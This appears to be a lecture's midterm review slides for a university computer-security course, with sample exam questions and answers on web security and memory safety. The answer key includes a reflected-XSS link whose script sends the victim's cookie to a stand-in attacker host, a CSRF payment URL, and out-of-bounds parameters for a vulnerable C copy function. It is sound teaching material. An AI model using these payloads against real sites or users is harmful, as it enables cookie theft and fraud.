Midterm Review

CS 161: Computer Security

Prof. Raluca Ada Popa

February 24, 2016

Important topics

1. Web security
2. Memory safety
3. Security principles

Web security

- Same-origin policy
- SQL injection attacks + defenses
- XSS attack + defenses
- Session management
  - Cookie policy vs same-origin policy
- CSRF attack + defenses
- Authentication
- Phishing attacks + defenses
- Clickjacking attacks + defenses
- Tracking on the web

Memory safety & Software security

- Buffer overflow attack
- Stack exploit
- Defenses
- Reasoning about safety
  - security invariants

Security principles

- Access control

Sample problems, spring 2014

Problem 2 ***Multiple choice*** **(10 points)**

(a) Many security experts recommend using prepared statements in your code. Which of the following threats do prepared statements defend against? Circle all that apply.

XSS

CSRF

SQL injection attacks

Clickjacking

Buffer overrun

Problem 3 ***True/false*** **(15 points)**

In parts (a)–(e), circle true or false.

(a) TRUE or FALSE: The same-origin policy would prevent Javascript running on a page from `twitter.com` from reading the cookies for `twitter.com` and sending them to `evil.com`.

(b) TRUE or FALSE: The same-origin policy would prevent Javascript running on a page from `evil.com` from reading the cookies for `twitter.com` and sending them to `evil.com`.

To prevent SQL injection attacks, `www.sweetvids.com` uses input sanitization to remove the following characters from all user-provided text fields: `'=-`. However, they forgot to include `;` in the list, and as a result, some hacker figures out a way mount a successful SQL injection attack on their site.

Based on this, which of the following are accurate? Circle true or false.

(c) TRUE or FALSE: This vulnerability was a predictable consequence of using blacklisting: it's too easy to leave something out of a blacklist.

(d) TRUE or FALSE: This bug would not have been exploitable if all modern browsers used privilege separation and sandboxing, like Chrome does.

(e) TRUE or FALSE: If `www.sweetvids.com` had used address space layout randomization (ASLR), it would have been difficult or impossible for an attacker to exploit this vulnerability.

Problem 4 ***Web security*** **(20 points)**

`www.awesomevids.com` provides a way to search for cool videos. When presented with a URL such as:

`http://www.awesomevids.com/search.php?search=cats`

The server will return an HTML search results page containing:

`...searched for: <b> cats </b> ...`

In particular, the search phrase from the URL parameter is always included into the HTML exactly as found in the URL, without any changes.

(a) The site has a vulnerability. Describe it, in a sentence or two.

Reflected XSS. Anything in the search query is echoed in the HTML, so arbitrary scripts can be injected by using <script> tags.

(b) Alice is a user of `www.awesomevids.com`. Describe how an attacker might be able to use this vulnerability to steal the cookies that Alice's browser has for `www.awesomevids.com`. You can assume that the attacker knows Alice's email address.

Alice gets an email with the link:

http://www.awesomevids.com/search.php?search=
<script>window.open("www.attacker.com/sendcookie.cgi?cookie=" + Document.cookie)</script>

She clicks on the link. The awesomevids server reflects the script as part of the awesomevids webpage. Its cookie becomes argument to window.open()

The developers of `www.awesomevids.com` hear rumors of this vulnerability in their site, so they deploy framebusting on all of their pages. Does this prevent exploitation of the vulnerability? Why or why not? Circle yes or no, then provide a one- or two-sentence explanation of why or why not.

YES NO

No. Framebusting solves a different problem (clickjacking) and does not have any effect on the XSS vulnerability in this problem.

Problem 6 ***Memory safety*** **(24 points)**

Assume all preconditions are met whenever the following function is called. You may also assume that the following code is executed on a 32-bit machine.

```
/* Copy every step'th character from src to dst */
/* Requires: src,dst are valid non-NULL pointers,
   n <= sizeof(src), n <= sizeof(dst) */
void vulncopy(char* dst, char* src, int n, int step) {
    for (int i = 0; i < n; i += step) {
        dst[i] = src[i];
    }
}
```

(a) This code has a memory-safety vulnerability. Describe it.

- Array out-of-bounds. If step is negative, the array index i will be negative.
- Buffer underrun/underflow. If step is negative, the array index i will be negative.
- Integer overflow. If step is very large, the array index i can overflow and become negative.

Problem 6 ***Memory safety*** **(24 points)**

Assume all preconditions are met whenever the following function is called. You may also assume that the following code is executed on a 32-bit machine.

```
/* Copy every step'th character from src to dst */
/* Requires: src,dst are valid non-NULL pointers,
   n <= sizeof(src), n <= sizeof(dst) */
void vulncopy(char* dst, char* src, int n, int step) {
    for (int i = 0; i < n; i += step) {
        dst[i] = src[i];
    }
}
```

(b) What parameters could an attacker provide to `vulncopy()` to trigger a memory-safety violation? (Your input must comply with the preconditions for `vulncopy()`.)

vulncopy(foo, bar, 1, -1); // negative step
vulncopy(foo, bar, INT_MAX, 5); // overflows and becomes negative
vulncopy(foo, bar, INT_MAX, INT_MAX-1);
vulncopy(foo, bar, 2**31 - 1, 5);

(c) If the vulnerable code was compiled using a compiler that inserts stack canaries, would that prevent exploitation of this vulnerability? Answer yes or no. You do not need to justify your answer.

No. For example:
vulncopy(d, s, 5, -2**30-1) will first write to d[0], and then in the next iteration of the loop to d[-2**30-1] (which is out of bounds). This writes a single byte of the attacker's choice to an address about 2**30 bytes below the start of d. By choosing step appropriately, the attacker can control which address in memory is overwritten. Thus, if the attacker can find a single byte somewhere in memory that if changed to a new value suffices to exploit the program, the attacker wins. One possibility might be to change some byte of a function pointer (or a return address), to cause it to point to the attacker's malicious code. Notice that because the loop only writes to d[0] and d[-2**30-1], the stack canary is not disturbed, so stack canaries won't detect this attack.

d) If we made the stack or heap nonexecutable would this prevent any attack in this setting?

No. Overwriting a single byte could overwrite an authenticated flag indicating if the password was inserted correctly

Problem 5 ***More web security*** **(16 points)**

You are the developer for a new fancy payments startup, CashBo, and you have been tasked with developing the web-based payment form. You have set up a simple form with two fields, the amount to be paid and the recipient of the payment. When a user clicks submit, the following request is made:

`http://www.cashbo.com/payment?amount=<dollar amount>&recipient=<username>`

You show this to your friend Eve, and she thinks there is a problem. She later sends you this message:

> Hey, check out this funny cat picture. http://tinyurl.com/as3fsjg

You click on this link, and later find out that you have paid Eve 1 dollar via CashBo.

(Background: Tinyurl is a URL redirection/shortener service that's open to the public. Thus, Eve was able to choose what URL the link above redirects to.)

(a) Name the type of vulnerability that Eve exploited to steal one dollar from you, in the story above.

Cross Site Request Forgery (CSRF).

Problem 5 ***More web security*** **(16 points)**

You are the developer for a new fancy payments startup, CashBo, and you have been tasked with developing the web-based payment form. You have set up a simple form with two fields, the amount to be paid and the recipient of the payment. When a user clicks submit, the following request is made:

```
http://www.cashbo.com/payment?amount=<dollar amount>&recipient=<username>
```

You show this to your friend Eve, and she thinks there is a problem. She later sends you this message:

> Hey, check out this funny cat picture. http://tinyurl.com/as3fsjg

You click on this link, and later find out that you have paid Eve 1 dollar via CashBo.

(Background: Tinyurl is a URL redirection/shortener service that's open to the public. Thus, Eve was able to choose what URL the link above redirects to.)

(b) What did the tinyurl link redirect to?

http://www.cashbo.com/payment?amount=1&recipient=Eve

Problem 5 ***More web security*** **(16 points)**

You are the developer for a new fancy payments startup, CashBo, and you have been tasked with developing the web-based payment form. You have set up a simple form with two fields, the amount to be paid and the recipient of the payment. When a user clicks submit, the following request is made:

```
http://www.cashbo.com/payment?amount=<dollar amount>&recipient=<username>
```

You show this to your friend Eve, and she thinks there is a problem. She later sends you this message:

> Hey, check out this funny cat picture. http://tinyurl.com/as3fsjg

You click on this link, and later find out that you have paid Eve 1 dollar via CashBo.

(Background: Tinyurl is a URL redirection/shortener service that's open to the public. Thus, Eve was able to choose what URL the link above redirects to.)

(c) How could you, as the developer of CashBo, defend your web service from this sort of attack? Explain in one or two sentences.

- CSRF Tokens
- Check the Referer Header

Any other questions?

Good luck on the midterm!!